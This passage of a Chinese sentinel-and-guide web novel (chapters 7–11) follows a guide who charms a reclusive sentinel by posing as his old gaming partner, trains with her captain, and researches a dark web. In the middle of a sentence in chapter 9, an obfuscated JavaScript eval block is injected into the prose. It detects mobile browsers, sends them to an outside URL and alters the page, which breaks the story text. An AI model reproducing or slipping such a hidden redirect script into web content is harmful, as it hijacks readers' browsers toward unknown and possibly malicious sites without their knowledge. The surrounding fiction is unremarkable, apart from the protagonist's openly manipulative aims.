《E级向导的阴湿系修罗场》 7.银瞳 霜面的游戏时长有3000小时,好友只有五个,和其中一位名为“莲”的好友游戏1000多小时,打了不下三千场。但莲上次上线时间还是半年前。 莲当年是游戏公会的会长,在论坛里发过不少招募帖子,奈苗很轻易地翻到了他现在的社交账号。虽然是个小号,看不出来他是什么样的人,但从更新频率和时间看来,应该是个经常打工到深夜、工作繁忙的普通社畜。 也怪不得很久不玩那个又累又耗费精力的游戏了。 她给莲发了条消息:出号吗?高价收[截图] 那边没有已读,大概还不在线。 等待时间,奈苗试着打了一局——虽然画风和玩法都很古早,不过十分硬核,一个走神就会被boss秒掉。 一局惨败后,她翻开莲的攻略帖子,纠正每个操作的细节。十局过后,已经可以打败一些中等难度的小boss了。 正要挑战更难的关卡,手机上方弹出了莲的回复。 莲:多少? 当年这个游戏的高级号可以炒到一万币,不过现在游戏过气,莲也不再上线,奈苗略一思索,打了个三折。 口苗:3000币 莲:可以。 莲:[账号][密码] “……”出高了。 不过这钱是昨天艾尔刚转给她的,奈苗不太心疼,只想着等她从暗双身上把这些钱赚回来,再给艾尔买好吃的。 口苗:你认识这个人吗?[截图] 图片里,是暗双的游戏人物。 莲:不认识。 莲:网友。 奈苗立刻登上莲的账号,查看了他和暗双所有历史消息,只有“上线”、“1”这样的简单对话。 看来暗双和莲私下里没有接触,只是一起打游戏的关系。 这样一来,她就更好“扮演”了。 奈苗看了莲之前和暗双的战报,又用自己的新号练习了几局,八点时,系统发来消息。 【请安排疗愈时间】 这样长期而艰难的疗愈任务,都是由向导定下任务时间。疗愈过程中,哨向中有一方不想继续,可以随时终止疗愈。 奈苗翻了下暗双的疗愈记录。接近一年的时间里,一共有两百多位向导和他进行过疗愈,时长都不超过一天,每条记录都是从早上八点就开始,持续到晚上九点,由暗双主动结束。 ——早八点,是长期任务里向导能提出的最早时间。这种只能尝试一次的疗愈机会,自然每一个向导都觉得越早开始越好,这样他们就有足够的时间,尝试打开暗双的心防。 可惜,没有一个成功的。 每一次,暗双都在九点钟主动提出结束,大概是他的习惯,这次奈苗主导的疗愈也不会例外。 奈苗对着系统界面思索了会,将开始时间输入为“晚上八点”。 九点还有和安白的训练,一个小时,应该足够了吧? 奈苗切回莲的账号,发起了和暗双的组队邀请。 暗双秒通过。 半年没有上过线,他们却什么也没说,直接进了一个困难副本,暗双在前输出,莲在后控制,正如他们当年那样,配合默契。 ……直到莲被boss一招秒杀。 暗双终于发来了第一条消息。 霜面:? 莲:找手感 奈苗甩了甩手,心道,这破游戏还真难玩。 不过,她也找到一点感觉了。 一整个下午,奈苗什么都没做,只是和暗双打游戏。她惊讶于他对这游戏的痴迷,一关结束,立刻挺进下一关,她手都按酸了,他那边还在猛猛输出,一分一秒都不休息,吃饭时间也只过五分钟就催她上号,短短一天内,愣是把全游戏的副本都过了一遍。 这样疯狂的强度,像是在发泄他对莲半年不上线的不满。 晚七点半,奈苗第一次拒绝了进入下一个副本的邀请。她想了想,发送最后一句话。 莲:我希望你过的好 霜面:… 奈苗直接退出游戏,活动了下酸麻的双臂,穿好制服,向疗愈室出发。 长期疗愈的哨兵都住在专属的疗愈室里,暗双被安排在一层上方一个特殊的区域,环境比原辰那里舒服很多,因为他拘束等级低,周围没有守卫,只贴了一张说明:如果向导按下戒指,就能叫来协助的哨兵。 八点整,奈苗刷卡进入了暗双的疗愈室。 那是一间一百多平的大屋子,布置上看,更像是一个功能完整的家,但偌大的空间里冷清漆黑,没有任何生活痕迹,唯有最里面的小屋关着门,门缝下透出一道白光。 奈苗上前敲门。屋里没有反应,只一阵按键的声音。 看来还在玩那游戏。 这都已经不是上瘾的程度了,或许该叫做发疯。 门虚掩着,一推就开了。奈苗没敲第二次,不客气地直接进入。 堆满漫画、游戏卡带的十平米小房间里,白发少年蹲在角落的转椅上,缩成一团,激烈地按动手柄,手速飞快,乱成一片花影。 他又高又瘦,皮肤白得瘆人,无机质的冷光下,像一个纸片做的人。大概是一整年没有出过疗愈室的缘故,他没有其他哨兵那样夸张的训练痕迹,但仍能看出单薄衣服下肌肉结实的弧线,随着手上操作起起伏伏。 虽然在自己最放松的小房间里,他的穿着却并不舒适,像是即将参加演出的乐队主唱:黑底红印花的无袖紧身薄衫,宽松到能装下两个他的破烂裤子,脖子上是所有被囚禁哨兵都会带着的项圈,选了黑色的款式,腰间挂着两条锁链,胸口三件叠戴的项链,左手腕缠了一圈绷带,上面画着漫画人物,右手带着骷髅手链,和桌面撞得当当直响。 在学校的合照上, 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奈苗没有试着和他搭话。之前那么多向导的失败已经证明,和他直接沟通是不可能完成的任务。 她坐到床上,从架子上拿下了一本漫画书。 然后,就这样看了起来。 过了一会,她感觉到身后的少年似乎稍微侧身,瞥了她一眼。她不动声色地继续看着漫画,仍旧不主动说一句话。 就这样看完了一本又一本。 说来,暗双的品味还不错,收集的这些漫画都很有意思,虽然故事核心都差不多——勇者带着剑与魔法,踏上屠龙征程,最后打败邪恶,赢得众人的欢呼和掌声。 那种童话一般的、少年时期才喜欢看的冒险故事。 看过的漫画书在她手边叠起来,逐渐累成了小小的一摞。 八点五十九分。 一个玩游戏、一个看漫画,沉默的一小时就这样过去了,距离暗双主动提出结束疗愈,还有一分钟的时间。 奈苗看了下手机,安白给她发了消息,问她有没有来训练场。 差不多也是时候了。 她合上没看完的书,站起身来,看到暗双仍旧背对着她,但肩膀微微紧绷,似乎想对她说话,但也在好奇着她要说的话。 她深深地望他一眼,转身走到门前,按下门把手。 “祝你过得好。” 轻轻的,像风一般飘过就散了的声音。 嘎吱一声,椅子向后推开,两下匆忙的脚步声。随即,裙摆被极轻的力度拉扯了下。 奈苗垂眼,看到那只骨节分明的修长的手正不断地颤抖。过分好听的清明的声音带了些许喑哑。 “我还以为,你是……男生。” 奈苗低头抿下嘴角的笑,心道,安白上尉,我可能要迟到一会了。 8.小蛇 暗双见她望向被拉扯的裙摆,立刻收回手,小声道:“……你是怎么找到我的?” “看到一段你之前战斗的录像,觉得和霜面的风格特别像,于是接下了你的任务,想来碰碰运气,没想到真是你。” 像吗?暗双有些茫然,他已经一年没战斗了,早就忘记自己当年的作战习惯。 “特别的果断,猛烈……而且坚决。对着敌人的死穴猛攻,不给他们喘一口气的机会。”奈苗释然地笑道:“你一点都没变。” 暗双身子剧烈地一抖,不自觉地抱住自己的双臂,垂下头去,不敢与她对视。 当年在前线勇猛杀敌的哨兵,现在却是在游戏里颓废度日、用沉默和层层叠叠的装饰品伪装自己的混子。 他不仅变了,还变得面目全非。 “我……和过去不一样了。” “是么?我倒觉得差不多。在游戏里打boss,和在污染区杀污染物也没什么区别吧。” ……没有区别。 虽然他也经常这样说服自己,来缓和夜间心脏的镇痛。 但真的会有人这样这么认为吗? 真的会有人觉得他这样的废物,和当初风光无限的天才没区别吗? 明明不会有任何人这样想,但她说的那么随意,那么自然,好像这就是一个毋庸置疑的定论一般。 暗双想看看她的眼,看里面有几分真诚和几分安慰,但最终还是不敢抬头看。 虚伪的人实在太多,多到他身边每一个向导都如出一辙——从进入疗愈室开始便喋喋不休地安慰他,劝服他,有的说他的精神力还是那么优秀,一旦疗愈好就可以重回巅峰;有的说外面的人还在期待他回去,成为白塔的领袖;也有极少部分的人看出他的厌倦和退缩,对他说,不疗愈也没什么,做个废物,也没什么。然后在他开口之时就强势地闯入他的世界,争取那百分之一的疗愈度。 后来他知道了,原来治好他可以换来很多很多钱。他们当着他的面说他仍旧是个天才,转过身去,大概也只会厌恶地向别人咒骂他,像他在网上看到的那些讨论和爆料一样,说他只是一只浪费白塔资源、浪费向导时间的蛀虫。 如果她也如此,如果她也只是为了赚钱而说了一些违心的话…… 他该怎么办。 一瞬间猛烈搏动起来的心脏,又该怎么办。 暗双望着奈苗拇指上象征向导对哨兵操控权力的戒指,痛苦地闭上眼。 “抱歉,我并不想……” “我不想疗愈你,只是来见你一面。”奈苗说道:“今天下午我很开心。” 她的声音带着让人平静下来的温柔,不知为何,却搞的他的心脏越跳越快,几乎要从他的嘴里蹦出来一般——大概是他太久没和人说话的缘故吧,暗双心想,一定……一定是这样。 他感觉头有点发热,说出来的话也含含糊糊,莫名的粘腻。 “……我也很开心。” 奈苗朝他一笑,没再说话,转身拉开门。 暗双没想到她走的这样果断。他的手比意识更先行动,这次拉的不是裙摆,而是袖子,慌张地问:“你还会再上线吗?” “或许,等我有空的时候?”奈苗歪了歪头,笑容有些无奈:“工作量实在有点大。” 莲已经半年没有上线了。暗双恍然,原来是因为她太忙,而不是因为不想和他继续在游戏中的冒险之旅。 “那我们还会再见面吗?” “但愿。” 他怔怔地看着她离开了光亮的小房间,踏入那片冷清的黑暗之中。她没有一丝犹豫地走出疗愈室,身份卡贴到门口的屏幕上,即将结束这场试疗愈。 ……也结束他们的最后一面。 ——暗双忽然想,他有什么好质疑的。 她在这次宝贵的试疗愈机会里选择陪他玩游戏,直到一天都快结束时才赶来。她从未想过抓住他这颗摇钱树,而是像她说的,仅仅是想来……看他一眼。 “莲!”暗双喊了一声,几步冲上去,响成一片的链子声中,又轻声地说道:“……1%。” “——如果只是疗愈1%的话,我愿意。” 奈苗仍旧背对着他,没有动作。暗双焦躁起来,想去直接拉她的手,要她转过来说一句话,但却又不敢这样贸然地与她轻易触碰,他急得声音都沙哑起来,发梢被一点冷汗黏在脖子上,改口道:“我、我需要。” 她终于转过身来,带着他走回里屋的小房间。明明是自己的主场,暗双却魂不守舍地跟着她,见她坐在自己的床上,刚刚缓和下来的心脏又鼓动起来。 两人坐在逼仄房间里狭小的床上,彼此只隔了一只手臂的距离,可以闻到她身上一股小猫刚晒过太阳时身上蓬松而温暖的茸毛气息,是她精神体的味道。 他还没有仔细看过她。现在虽然想,却仍旧不敢,眼神躲躲闪闪,在她的下巴和胸口间串来串去,生怕再上一些与她对视,又怕向下一些看到被制服包裹住的美丽的弧度。他一整年都没有认真地看过哪个人,更别提这还是一个让他心跳不止的女人。 奈苗理了理被他扯乱的袖口,他的眼神自然地追随过去,看不时被扯出来的那一小段裸露的肌肤,心想自己真是游戏玩太多了,没见过活人似的,怎么这一截手腕都让他这样心慌意乱。 “你可以叫我的真名,奈苗。” 她终于开了口,笑吟吟地说着,一边向他伸出了这只被他久久注视的手。 暗双的手颤抖着伸了过去,隔了一小段距离,不敢覆上去,忽地被那只比他小上一圈的柔软手猛地抓住,一股电流从手心处一路传到了心脏,让他一瞬间觉得自己会心跳过速而死。 “奈……苗。” 不知为何,“莲”可以轻易地唤出口,“奈苗”却叫的他有些缺氧。或许是这个名字本身就甜腻腻的,像一个小动物的昵称,又或许是他很清楚地感知到,莲是那个和他一起打游戏的好友,奈苗则是坐在他面前,笑得他头昏脑胀的女人。虽然他们是一个人,但感觉却是不一样的。 “……奈苗。”第二次叫出口时,稍微顺利了一些,也让他的心情飘扬起来,叫着她的名字,好像和她更近了一步,不会像刚才那样轻易地失去她,“好像猫的名字。” “这就是猫的名字,我曾经的小猫。”奈苗说道。 “曾经的?” “嗯,曾经的。” “后来呢?” “后来它死了。我就继承了它的名字,来纪念它。” 暗双不知该说些什么,这似乎是一个沉重的话题,但奈苗表现得并不在意。 她忽地握紧了手,向他靠近了一点,说道:“好了,闭上眼睛吧。” 小黑猫向前猛冲,闯入了一个白色方盒子里。这盒子很小很小,几乎只能装得下它了,猫虽然喜欢这样狭小的环境,但也不禁怀疑,这样小 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即使奈苗只是冲着钱而来,此时此刻心里也升起一股怜惜之情。她抚摸他的发顶,轻声道:“暗双,辛苦了,休息一下吧。” “唔……” 随着暗双一声不知意味的低吟,蛇扭动起身子,花纹晃得猫眼花。猫凑上前去,舔了一口,却咽下一口腥甜。 透明的血。 密密麻麻的花纹是它身上的伤口,透明的血从每一处渗出,未曾间断地流逝着精神力。他就是这样从SS级退化成了S级。 猫有些茫然,不知该从何处下口,最终还是随便选了个地方舔上去——反正都是伤,哪里都一样。 奈苗小心翼翼地控制着她的小猫,生怕它一个失控变成了攻击型,杀死这只脆弱不堪的小蛇。 猫本就小,被她有意压制后,更是成了毛团大小的一只,对着一处伤口舔了半天,累得气喘吁吁,蛇却一点好转的迹象都没有。 这样下来,别说百分之一的疗愈度,就连千分之一都没有达成。 奈苗还没着急,暗双先急迫起来,他太久没有体验过被疗愈的滋味,即使这只是一只奶猫,柔软的舌拂过伤口时,也止不住地震颤着,从精神体到人,都受不了这样缓慢而微小、但却无比舒适的刺激,像是渴到极致的人看到一湾清泉,却只能小口啜饮。 未尝不是一种折磨。 “奈苗,再快一点……”他忍不住催促道,身子也像一只蛇一样扭来扭去,锁链叮叮当当响着,他却没有被影响,全神贯注地沉浸在和猫相依的小世界里。 奈苗实在快不起来。 她的猫作为疗愈型精神体时只有E级的能力。或许安白安排得对,她的确需要训练…… “…不要想别人。” 暗双居然敏锐地察觉到她注意力极微妙的变化,那蛇猝然收紧,将小猫团在身躯之中,可怜小猫被挤得喵了一声,吐出一小片水,浸湿它的毛发。蛇尾勾上去,缠住它的舌头,塞满它的嘴巴——对于一只小猫来说,即使是小蛇的尾巴,也太大了。 的确是S级的精神力,这样强势地压住她,让她也有些无法喘息。但光是精神体的接近并不会有多么显著的效果,要想快点达成那百分之一,就也只有一个办法了。 奈苗咬着下唇,轻声道:“再近些。” 暗双猛地将她拥入怀里。 9.掌控 拥抱像潮水般一浪接着一浪,越加凶猛地翻涌着,随着蛇不耐的扭动继续缩紧。 暗双看似单薄的手臂却像一道铁箍,以她完全不可抗拒的力度勒到胸怀里。链子夹在两人紧贴的胸膛间,他鼓胀肌肉随着呼吸起伏,隔着衣服一下下顶着她,贴的这样近,彼此心跳声也听的清清楚楚——奈苗很容易就分辨出,急促促的如兔子一般跳动的来自他,缓慢而匀速的来自自己。 几乎是零距离的接触下,操控小猫变得容易许多。 “就这样。”奈苗说道。 那只顺着本能、情不自禁向更下方摸去的手僵硬地停留在她的腰间,发泄着某种欲望一样掐的用力。他可能还想做些什么,如果再近一些——比零距离再近一些,疗愈当然会变得更容易,但没必要。 今天只要完成百分之一就好了,更何况奈苗一会还要去训练室,没有那么多时间用来和他耗着。 她要尽快结束战斗。 不再刻意压制力量后,猫很快恢复了原本的大小,在颤抖的蛇身上快速舔着。努力了十几分钟,终于艰难地到达那一点,奈苗的手机上滴了一声,这意味着她完成了今天的试疗愈任务。 1%,达成。 1000币,到手。 她抚在暗双头上的手缓缓下移,搭在他的胸口,纤细的手指落在冰凉的银饰项链上,指尖挑逗般地逗弄了两下,引来一阵细小的撞击声。下一秒她却没有继续这暧昧的动作,而是向前一推—— 暗双虽抱的用力,但被她叫停进一步接触时就呆愣了,被她这样拒绝似地一推,更是直接脱离状态,两手垂在床上,手链上的头骨装饰滚到一边,难过地侧过头似的。 奈苗清楚地意识到,他不是安白那样颐指气使的自傲上级,他是个失落的少年,虽然有本能的强势,但还是软弱且羞涩的,随她指挥。 很好掌控的摇钱树。 奈苗向后挪动几分,与他拉开了合适的距离,说道:“有没有舒服一点?” 暗双那张惨白的脸上有一小片血液上头的红晕,到现在也还没退下去,眼睛半垂,低声道:“还可以更……” 可以更舒服。 他没有说出口,因为他瞥见了奈苗展开的手机上,那排显眼的时间标识。 九点二十。 “下次,你可以更早来。”他改口道。 果然——奈苗心道,他每次九点都让向导离开是有原因的。就连与她进展到这样欲罢不能的地步,也还是在这时间点催她离去了。 不过她对他的秘密并不感兴趣。以后只要能这样按部就班地疗愈,换钱,就足够了。 “回去我会和你约时间。”奈苗站起身,走到门前与他告别,“明天见,暗双……” 奈苗见他抿着嘴,一脸恋恋不舍的神情却不肯说些留恋她的话,一时觉得这样青涩真像小孩一般——暗双比她小了整整四岁,对她来说确实也是个弟弟。她笑了笑,又说:“明天见,我的哨兵。” 说罢,关上了门,不知门里那人失魂落魄,对着门口呆愣了很久,脑中反复回想着她最后说那句话。 我的哨兵。 他心想,他是不是可以把她看成“我的向导”。 现在早就过了一一匹配才能疗愈的年代,塔里人员流动性高,大部分都是即时任务,有时哨向做完疗愈都还没记住对方的模样。 而长期疗愈,其实接近一对一的匹配关系。花上一周甚至一个月的时间,每天都在那样密闭的环境里说一会话,随着对彼此的熟悉,精神世界也会愈加交融…… 区别是,真正的匹配可以做深度结合,还可以每时每刻都在一起。一起上前线,一起训练,一起提升精神力,甚至……成为伴侣。 不如说,一旦真正匹配上,若是性别对的上喜好,很难不会成为伴侣。 恍神的一小会,暗双的思绪越飘越远。他意识到自己在想什么,立即狠狠地掐了自己一下,觉得这荒诞的想法十分可笑。 他这样连自己都放弃的人,才没想过拥有某个伴侣,或者和谁谈情说爱。 他把她看成一个他难得想敞开心扉交流的朋友,从线上的莲变成线下的奈苗。他只想要她快快游戏上线,快快来疗愈室找他。 不过,如果上线和找他中选一个,他会毫不犹豫地选后者。 - 奈苗到达指定训练室门口时,正好九点半,迟到了足足半个小时。 安白不是艾尔那种会缠着她一直问个不停的人,他只在九点前发了一条催促的短信,之后就没了声响,不知是在默默等候,还是已经愤然离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467153|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 按照她对暗双定下的计划,今天只能迟到。她事先早就想好,就算今天扣掉十分,也有暗双那一百分顶着,所以攻略暗双更优先。另外,还可以用这次迟到试探下安白的底线—— 作为一个上级哨兵,他对她的态度过于亲密了,说不出他是看她天赋异禀想训练她,期待被她的攻击型精神体再虐待下,还是想要一些亲密逾矩的不合规关系。 不管是哪种,她需要知道,他对她的渴望允许怎样程度的容忍。 奈苗刷卡签到,上面显示“训练进行中”,说明安白没有因为她的迟到而取消这次训练——至少现在没有。她一边推开门,一边思考着进去之后该找个什么合适的迟到理由。 训练室静悄悄的,一片漆黑,没有任何人在。 奈苗心里一凉,打开了灯,扫视一圈,没见安白的人影。 ……看来他还是走了。 也算是预料中的可能性。 奈苗轻叹一口气,她高估了安白被自己吸引的程度,是她做的不够。 他是她以后要长期相处的引导,同时也是一个在一层算得上最高级别的领导、一条向上爬的渠道。 属于“可以利用的人”。 奈苗向前两步,走到巨大的落地镜前。因奔跑而散乱的领口微微敞开,露出一点伤痕的末端。 她要快点去到最高层,因此必须要做到更多。用她的语言,预谋,技巧,如果必要时刻,甚至……这具身体。 她正凝神在自己身上,忽见镜中闪出一道黑影,从门后猛地窜到了她身后。还未看清那人是谁,脖子上先传来一股强劲的力度,她没有任何反抗的机会,就这样被人捏着脖子,粗暴地按压到地上。 那人反压了她的手臂,单腿压在她腰上,是标准的擒拿姿势。他俯下身,贴在她的耳边,纵使语气平静,也压不下去那明显的怒意。 “给你一次解释的机会。” ……原来在这里等着呢,还偷偷藏在隐蔽的地方,好从后方偷袭她。 奈苗被这样的姿势押着,却完全没有生气,声音中甚至带了一丝隐隐的笑意。 “上尉,晚上好。” 不管他以怎样的姿势扑上来,如果他选择等待,那他终究也只是一只等待主人回家的狗罢了。 10.禁令 握在脖子上的手更用力了几分,显然安白对她这样轻松的态度十分不满。 奈苗说道:“第一次执行任务,不太熟练。” “第一次任务,晚上八点开始执行?你是对自己的疗愈能力有多自信。”安白冷冷地笑了声,语带嘲讽:“虽然你的精神力有特殊之处,但也不是你轻视任务的理由。疗愈差,体术差,反侦察差,力量差,每样都不及格。要是连训练都不认真,你就永远呆在一层吧。” 无论是姿势还是语言都十足压迫,咄咄逼人,像是有意激怒她似的。奈苗丝毫不气,笑吟吟地说道:“上尉,就算你骂我,我也不会再攻击你的。” 要是早早让他爽到了,以后还怎么利用。 “都说了不是!”第二次提起这事,安白俨然恼羞成怒,命令道:“严肃点,别笑。” 她这么一笑,身子微微地抖,嘴角还有两个梨涡,看的他心烦意乱,训斥的氛围都搞没了。 奈苗依言压了压嘴角,说道:“我在反省了,能先从我身上下来吗?” “……” 瞧她这样子,绝对没有什么反省的意图,对白塔向导的身份也完全没上心。低级塔里来的哨向都是这种没规没矩的野路子,他们不知道真正厉害的人与自己的鸿沟,总觉得自己只是被埋没的天才。这样的人,安白见过太多,也一向看不起他们,极少会将他们招进白塔。 奈苗是特殊的。但再特殊,也需要服从于这座等级森严的塔。 身为奈苗的上级兼指导,第一个要教会她的,就是白塔的规则。他料想她一个新人对白塔没什么了解,故意为难道:“背下白塔的向导守则,背出来就放过你。” 话音刚落,奈苗就一股脑地背了起来。 “第一条,白塔的权威是绝对的,所有哨兵和向导需要服从白塔的一切指挥,无论精神力级别与军衔,规则之下,人人平等;第二条,哨兵的使命是红色和战斗,向导的使命是白色和疗愈,哨兵与向导的共同使命是维护人类的尊严与权益;第三条,白塔分为五层,为保护不同精神等级的哨向及激励哨向提升精神力,无高层许可时不可擅自越层;第四条……” “第十五条。” “第十五条,人类和污染物为物种差异,绝不可互相混淆,模糊界限——” “第三十条。” “第三十条,没有一对一匹配时,白塔内严禁深度结合,包括身体越线、精神世界融合。哨向之间的精神结合多依赖于身体接触,一旦越线,将会难以匹配其他哨向,无法完成白塔的任务,精神世界融合也是同理。第三十一条……” “行了。” 脖子上的手松开了,一个精致的小盒子垂到脸庞。安白拎着包装的丝带,说道:“奖励。” 奈苗接过盒子,转身站起,对他一笑:“迟到奖励?” “……背出规则的奖励。” 这盒子不过手掌大小,红丝绒面,上面雕刻着金色的品牌名,看起来就不便宜。剥开锁扣,只见里面躺着一个小小的粉色蝴蝶结,摸上去凉凉的,很有质感。 见她有些迷惑,安白解释道:“戒指配件。” 奈苗闻言,立刻将这蝴蝶结贴到戒指上,两者像磁铁一般嗡的一声互相贴住。 “可以把戒指里储存的电流发出来,防身用,记得给戒指充电……”安白压下她贴过来的手,“别在我身上试。” 原来这戒指还可以改造。奈苗心中一动,看了又看,很是喜欢的样子:“谢谢你,上尉,你怎么知道我最喜欢粉色。” “你的发带是粉的。” 安白看向她粉色的发带,满满少女气息的装饰物,心想,这颜色确实很配她的外形,看起来温和且柔弱,没什么伤害力。 当然,他不会知道,这粉嫩的东西曾差点勒死一名S级哨兵。 “嗯,粉色是红和白加起来的颜色……”奈苗捻着蝴蝶结,轻声道。 安白一愣,才反应过来她说的是哨向的代表色:白色和红色。虽说她对训练的态度很不认真,但背的出规则,思想还……挺端正。 白塔里很久没来过这样的新人了。 “开始训练吧。”安白说道:“我不会只强化你的精神力。还有格斗技巧、体能训练、疗愈理论等。” “向导需要格斗技巧?” “E级向导不需要,S级向导需要,白塔的向导需要。如果你在这里久待,早晚要上前线,一对一疗愈时,要是被发狂的哨兵伤害,只有你自己能救自己。” 安白还说着话,忽地上前一步闪到她身后,用和之前一样的路数反押她的双手,象征性地向下用力,将她的肩背压了下去。 两人都站立着,一站一俯,反倒比之前扑到在地时贴的更紧密。 奈苗抬起头,看到镜子里这不像样的姿势,以及安白直勾勾的眼神。他也在看着镜子里的自己。目光停留在她的胸口上——向下滑落的领口里,露出一小截伤痕的尾巴。 “上尉,第三十条,禁止深度结合,包括身体越线和……” “这是技法教学。”安白打断她,眼神也轻轻地向一旁飘开,看来刚才并非有意。“你看清我的动作了吗?” “看清了。” 奈苗勾起小腿,一脚踢向身后人双腿之间,安白立即松了她的手向后躲闪,她顺势转过身抓住他的手,伸腿向前绊去。安白一个踉跄,被她拿了空,有模有样地反押了双臂。 “像这样?” 安白一愣,抬头看向镜中,同样的姿势,但不同的位置,被按在下面的自己却不如奈苗那样淡然,而有些慌乱——对着这个看似弱小的向导,他实在是太放松警惕了。 他微一用力,很轻易地挣脱了那勉强握住他腕子的细弱的手,干咳一声:“学得挺快么,就是力气太小。明早开始,每天跑圈加硬拉。” “……” 安白反复摸过手腕被攥出的那圈红,问道:“以前练过?” 她那副柔柔弱弱 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“……”安白收回了手,他倒没有想对她做什么,只是单纯的……对她没有身体上的社交界限罢了。 不过,显然奈苗对他还有这个界限。 “我明白你说的‘从这里’出发是什么意思。触碰这里时,我更容易调动我的攻击精神体,但是很难调动疗愈型……” “因为你只想着攻击别人。”安白打断她:“你真正的想法,从不是疗愈别人。” “……上尉。” 奈苗轻轻地唤了一声,语气轻缓,面色平淡。安白却明显地感觉到,她有些生气了。 因为攻击性而恼怒,她生气的点,还挺特别…… 也挺可爱的。 “每个人最适合调动精神体的出发点只有一个,就是你的……”安白试图找一个更合适的词。准确来说,应该是伤口顶端,之前奈苗摧毁他的精神屏障时,就是通过这里的接触而达成的。但她又说那是创伤事件造成的,不好轻易提及,于是只是说:“你的胸口。你不该尝试从别的地方使用精神力,而应该尝试转换你的精神体形态。” “教科书上好像没有这么写过。” “书上都是些什么老掉牙的东西,早跟不上时代了。” 面对奈苗微有质疑的眼神,安白不满道:“我之前可是带过向导的,也是一个低等级的天赋型。我知道你们最大的问题在哪里——就是能力太强,不敢乱用。就像你,因为害怕攻击别人,不敢从胸口出发。只要你试过一次,找到那个感觉,你压抑着的能力就会完全激发。” 他拍了拍胸口,说道:“所以,对着我使用吧。不用害怕变成攻击型,我自愈能力很强,什么都承受的了。” 奈苗叹了口气,心道:他终究还是想着再来一次。 可惜,他越渴望,她就越不想满足他。 11.雄狮 她按照安白教的,精神体从胸口出发。最开始根本叫不出她的小猫,总是差点唤起巨猫,不过一看到安白那双期待的眼,巨猫立刻偃旗息鼓,回到她的胸怀之中。 见她精神体畏畏缩缩,不能凝聚成形,安白就知道她又在压抑力量,催促道,“别怕,对我使用。” 就不。 奈苗心道。 她的攻击型精神体是用来震慑别人的,而不是用来满足别人的。 她感受着那团疗愈的能量,试图将它们聚集在伤口末端,但它们像是害怕这个地方一样,总是散掉。她不由得想起了安白说的那句话:你总想攻击别人。 或许他说的也没错。她的疗愈心并不纯粹,所以总是不自觉地转化成攻击型——虽然她并不愿意承认这一点,但不得不说,这为她这么多年的原地踏步找到了一个充分的理由。 我想疗愈他。奈苗对自己说:我想拼起他破碎的屏障,修复他虚弱残缺的精神体…… 这般自我催眠好像真起到了效果,猫迈着小踏步颠颠地走了出来,小心翼翼地钻到安白的精神世界里。与此同时,两人都不由自主地露出了失望的表情—— 安白失望于她到最后也没有对他发动进攻。 奈苗则失望于他的自愈能力的确很强,昨天摧毁的精神屏障,现在居然已经修好了。他真实的精神世界是一座雄伟城堡,上次还千疮百孔的金毛现在已经重新焕发神采,戴着小王冠,昂首挺胸地巡视自己的领地。 猫在角落里垂下头来,这里根本没有它的用武之地。 “上尉,我似乎没什么可做的。” “……摧毁我。”安白咬牙道:“这样你就可以疗愈我了。” 还没听说哪个医生为了治人要先杀人的。奈苗笑了笑,睁开眼,将猫收回自己的精神世界里,说道:“等你真的受伤时,我再尝试吧。今天我从这里叫出了疗愈型,已经是很大的进步了。” “你可以进步更多。”安白哼了声,看起来十分不满意:“明天不许迟到。” 奈苗只是笑。 “回答呢?” “我尽量。” 回到寝室后,奈苗发现安白在任务结束时给她扣了一分——大概是因为她最后那句话,愤怒地扣下的。 不过她并不在乎这一分,因为她已经从暗双那里得到了一百分。 她躺在床上,回完艾尔的轰炸信息,在网页上搜索“白塔暗网”。 钱解决后,剩下的问题就是从哪里获得爆发素。鲤诺说的模糊,安白让她不要擅自服用,现在就只能自己寻找答案。 但这毕竟是售卖违禁品的违规网站,公开的信息里完全搜不到网址,只能搜到一些相关的讨论。 比如,暗网出现在四年前。在那之前,违禁品的交易都在线下进行。 比如,暗网的拥有者曾经发过帖子,昵称是“暗”。 比如,有人声称暗的ip地址就在白塔内部,但没法进一步定位。 又比如,暗掌握了所有暗网上所有买家与卖家的信息,而他们大部分都来自白塔内部。所有人都在同一条不断下潜的船上,一旦参与过交易,就再也抹不去污点了。 所以,他们齐心协力保护着暗网的站点不被白塔追踪到。所以,他们恐惧着暗网的拥有者,尤其是那些想消除痕迹,重新上岸的人。 奈苗点开一张暗曾经的发言截图。 那是一年前,网称“鬼游戏事件”。一位名叫“虚无”的卖家声称暗抽成太过分,要破解他的详细地址,对他进行定点爆破。虚无雇佣了一批黑客直播进攻暗网,试图找到漏洞,但一整天都没有破解网站的加密。 直播结束后,众人在暗网上围观讨论时,暗发了一条帖子。 暗:刚刚把排位赛打到全区第一 暗:听说有人要找我? 暗:来吧。 暗:[图片] 这是一张被特殊技术加密过的图,初步破解之后能够模糊地看出,是一个游戏比赛排名的截图。虚无立即继续破解,想要找到这个游戏以及暗的游戏账号。但还原到最后,只找到了一个下载量为1的新游戏,上传时间就是当天。 这是个普通的抓鬼小游戏,玩家永远比被抓的鬼慢一步。直到有人卡bug追到了那只鬼,鬼回过头来,屏幕唰地变黑,上面缓缓现出三行血红的字。 【我知道是你】 【如果我死了】 【你要陪葬】 这是暗临时制作的游戏,那排名截图是假的,他所说的“排名第一”也只是个恶作剧的幌子而已。 看到这里,奈苗不禁笑了一声——可以想见当时的虚无看到游戏这一幕时,那种惊悚和被戏耍的恼怒感。 虽然暗掌握了如此厉害的网络技术,但大概年龄还小,中二、狂妄而自大,弄出这场闹剧来,只为了吓人一跳,还装神弄鬼地说什么“知道是你”。 搜到这里,有关暗网和暗的消息都看得差不多,却没什么收获。奈苗切出搜索页面,心道,该和暗双约定疗愈时间了。 她顺势打开了那款暗双一直在玩的游戏,心想他肯定又在没命地玩。但打开好友界面后,却见“霜面”的名称是灰色的。 他居然没在玩。 奈苗点进他的战报里,一路上翻,一连串的“排名第一”。几乎每个月的排位赛里,他都是所在区的排位第一。 她越看越觉得不对劲,速度加快了几分,翻到了暗在网上与虚无对线的那天。 那是区排位赛的日子,而第一名正是“霜面”。 